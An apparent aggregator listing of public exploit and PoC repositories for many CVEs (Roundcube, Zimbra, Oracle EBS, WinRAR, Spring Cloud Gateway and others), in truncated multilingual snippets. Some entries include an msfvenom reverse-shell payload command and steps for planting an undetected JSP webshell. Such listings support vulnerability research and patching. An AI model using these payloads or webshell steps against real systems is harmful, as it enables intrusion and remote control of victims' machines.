Roundcube-1.6.10-Post-Auth-RCE-CVE-2025-49113-

🚨 漏洞报告：Roundcube Webmail 中的 CVE-2025-49113 ⚠️ 重要提醒 — 负责任使用 本材料仅供教育和研究目的使用。 严格禁止将此处描述的信息和工具用于任何非法或恶意 活动。 作者对滥用此内容不承担任何责任 。 本仓库包含关于 CVE-2025-49113 漏洞的详细报告，这是一个由于 PHP 对象反序列化导致的关键远程代码执行（RCE）缺陷，影响 Roundcube Webmail 直至 1.6.10 的版本。 本项目的目的是作为教育和研究资源，演示如何在受控环境中识别和利用该漏洞。 📄 完整文档 要访问有关此漏洞的完整信息，包括服务部署、使用...

CVE-2025-57055

CVE-2025-57055：WonderCMS 3.5.0 中的已认证远程代码执行 漏洞机制 WonderCMS v3.5.0 存在一个已认证远程代码执行（RCE）漏洞。 问题源于应用程序通过 JSON 描述符处理远程主题/模块安装 的方式。当管理员提交引用 ZIP 压缩包的远程 JSON 文件时，其内容会被解压到可通过 Web 访问的目录（例如 /themes/）。如果该 ZIP 包含 PHP 文件，该文件即可通过 Web 访问并可能被执行。 此行为因以下原因引入 RCE 风险： 对 ZIP 内容缺乏验证或清理。 对从远程来源解压的文件类型没有限制。 主题/插件目录可通过 Web 访...

CVE-2026-51992

CVE-2026-51992 В ClickHouse существует функция, которая позволяет пользователю с соответствующими разрешениями создавать словари для взаимодействия с различными базами данных и выполнения по ним конкретных запросов. Для PostgreSQL SELECT-запросы оборачиваются в выражение COPY QUERY TO STDOUT пере...

Zimbra-CVE-2022-30333

Zimbra-CVE-2022-30333 Zimbra unrar 취약점. 이제 이미 공개된 POC가 있으므로, 저희의 POC를 공개해도 안전합니다. CVE-2022-30333 Zimbra UNRAR 취약점. Unrar V 6.11까지 취약. .jsp 쉘이 탐지되지 않도록 하세요. 이 익스플로잇은 기본 경로에 설치된 zimbra에서 작동합니다. 웹쉘을 rootver 폴더에 넣으세요. 기존 shell.jsp 파일을 제거하세요. 그런 다음 rootver 폴더를 rar로 압축하세요. ZIP이 아니라 rar만 가능합니다. 그런 다음...

CVE-2025-61882

Oracle E-Business Suite RCE 스캐너 CVE-2025-61882 Oracle E-Business Suite 설치 환경에서 CVE-2025-61882를 탐지하는 빠르고 멀티스레드 기반 대량 스캐너입니다. 이 치명적인 취약점은 인증 없이 원격 코드 실행을 허용합니다. 🎯 주요 기능 대량 스캔 - 파일에서 수백 또는 수천 개의 대상 처리 멀티스레드 - 동시 스캔 수 설정 가능 기본값: 20개 스레드 자동 탐지 - id 명령 실행 및 출력 파싱을 통해 RCE 검증 실시간 결과 - 취약한 대상은...

CVE-2024-22514-Remote-Code-Execution

CVE-2024-22514: Agent DVR 中的远程代码执行 信息 描述 iSpyConnect.com Agent DVR 5.1.6.0 包含一个漏洞，该漏洞允许重定向由警报命令触发的文件。这种修改可使命令功能在程序权限上下文（默认为 root）下触发系统上的任意文件。实现方式为编辑 objects.xml 备份文件中的 EXE 参数路径，以创建经过修改的 objects.xml 文件，随后可通过控制面板将该文件恢复。恢复后的控制面板将保留写入 objects.xml 文件中的新路径，之后可通过警报命令触发该路径。 附加信息 此攻击可与我将提交的另一个 CVE 进行链式利用，...

CVE-2021-22006

CVE-2021-22005 - Загрузка файла на VMWare vCenter Server для удаленного выполнения кода Анализ Использование root@kitploit: ------------------------------------------------------------- CVE-2021-22005 - VMWare vCenter Server File Upload to RCE Github: https://github.com/r0ckysec Twitter:...

CVE-2020-6287_RECON-scanner

用于 CVE-2020-6287 RECON 的漏洞评估与失陷指标 IoC 扫描器 RECON（NetWeaver 上的远程可利用代码，Remotely Exploitable Code On NetWeaver）是一个严重影响众多基于 SAP NetWeaver Java 技术栈运行的 SAP 业务和技术应用程序的关键（CVSSv3 10）漏洞。该漏洞由 Onapsis 研究实验室发现，并与 SAP 密切合作，于 2020 年 7 月 14 日开发并发布了补丁。鉴于该问题的严重性，美国 DHS CISA、BSI CERT-Bund 以及其他多个政府机构发布了警报，敦促 SAP...

CVE-2026-9811

CVE-2026-9811 CVE-2026-9811 — это уязвимость типа «межсайтовый скриптинг с сохранением» Stored XSS, затрагивающая Mautic 7 версии с 7.0.0 по 7.1.1. Уязвимость существует в компоненте Project Selector, где имена проектов, возвращаемые через AJAX-запрос, вставляются на страницу без надлежащего...

CVE-2018-20250

设置 视频演示：https://youtu.be/5tuWsi1tGS0 VirtualBox 虚拟机：https://j2c.cc/virtualbox-machine Winrar 5.5 32bit：https://j2c.cc/winrar-550-32bit 操作步骤 Kali： root@kitploit: ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe shell.exe Windows： root@kitploit: git clone...

CVE-2018-8284-Sharepoint-RCE

CVE-2018-8284-Sharepoint-RCE...

CVE-2026-37637

CVE-2026-37637 CVE-2026-37637 에 대한 개념 증명PoC - Alexantr filemanager v1.0 에서 filemanager.php의 무제한 파일 업로드를 통한 원격 코드 실행RCE 개요 CVE-2026-37637 은 Alexantr filemanager v1.0 에 영향을 미치는 원격 코드 실행 취약점입니다. 이 취약점은 filemanager.php 구성 요소에 존재하며, 업로드된 파일에 대한 검증 부족으로 인해 발생합니다. 원격 공격자는 웹에서 접근 가능한 디렉터리에 악성 PHP 파일을 업로드...

cve-2022-22947

Spring Cloud Gateway Actuator API SpEL Кодовая инъекция CVE-2022-22947 Сборка root@kitploit: $ git clone https://github.com/twseptian/cve-2022-22947.git $ cd cve-2022-22947 $ docker build . -t cve-2022-22947 $ docker run -p 9000:9000 --name cve-2022-22947 cve-2022-22947 PoC отправьте следующий...

React2Shell-CVE-2025-55182

React2Shell CVE-2025-55182 Эксплойт proof-of-concept, демонстрирующий уязвимость удалённого выполнения кода в приложениях Next.js через загрязнение прототипа prototype pollution в конвейере рендеринга серверных компонентов React. ⚠️ Отказ от ответственности Этот инструмент предназначен только для...

CVE-2021-40531

CVE-2021-40531 Это доказательство концепции в действии. Sketch — популярное приложение для дизайна UI/UX для macOS. В этом посте рассматривается уязвимость в Sketch, которую я обнаружил в июле, CVE-2021-40531. В простейшей форме это обход карантина macOS, но в контексте это может быть использован...

CVE-2020-0688-GUI

1. プロジェクトの目的と参考 目的は非常に簡単です。最近、Cを使ってC2を書く準備をしており、まずは小さなものを作って練習し、興味を高めようと思いました。そこで、zcgonvh氏のツールをGUI化することにしました。元のツールのリンクは以下の通りです： https://github.com/zcgonvh/CVE-2020-0688 2. 使用法 Releaseからダウンロード： root@kitploit:...

poc-yaws-cgi-shell-injection

Внедрение команд ОС в веб-сервере Yaws CVE-2020-24916 Доказательство концепции Соберите тестовый образ: docker build -t vulnbe/yaws-pocs:shell-injection-appmod-cgi -f Dockerfile . и/или Запустите контейнер docker run --rm -d -i -p 127.0.0.1:8000:8080 vulnbe/yaws-pocs:shell-injection-appmod-cgi...

webcgi-exploits

Эксплойты для Web CGI Здесь представлены несколько эксплойтов для разных веб-CGI. Я написал их за последние несколько лет. Как это работает Веб-приложения в основном состоят из таких слоёв: 1. приложения 2. веб-фреймворки 3. движки скриптовых языков 4. веб-контейнерысерверы 5. веб-прокси перед...

rusty_joomla_rce

Rusty Joomla RCE Детали Технические подробности можно найти здесь: https://1day.dev/notes/Rusty-Joomla-Remote-Code-Execution...

CVE-2024-11613-wp-file-upload

CVE-2024-11613-wp-file-upload Эксплойт от Chirag Artani https://3rag.com для CVE-2024-11613 в WordPress File Upload Вот информация — Плагин WordPress File Upload для WordPress уязвим к удалённому выполнению кода, произвольному чтению файлов и произвольному удалению файлов во всех версиях до 4.24....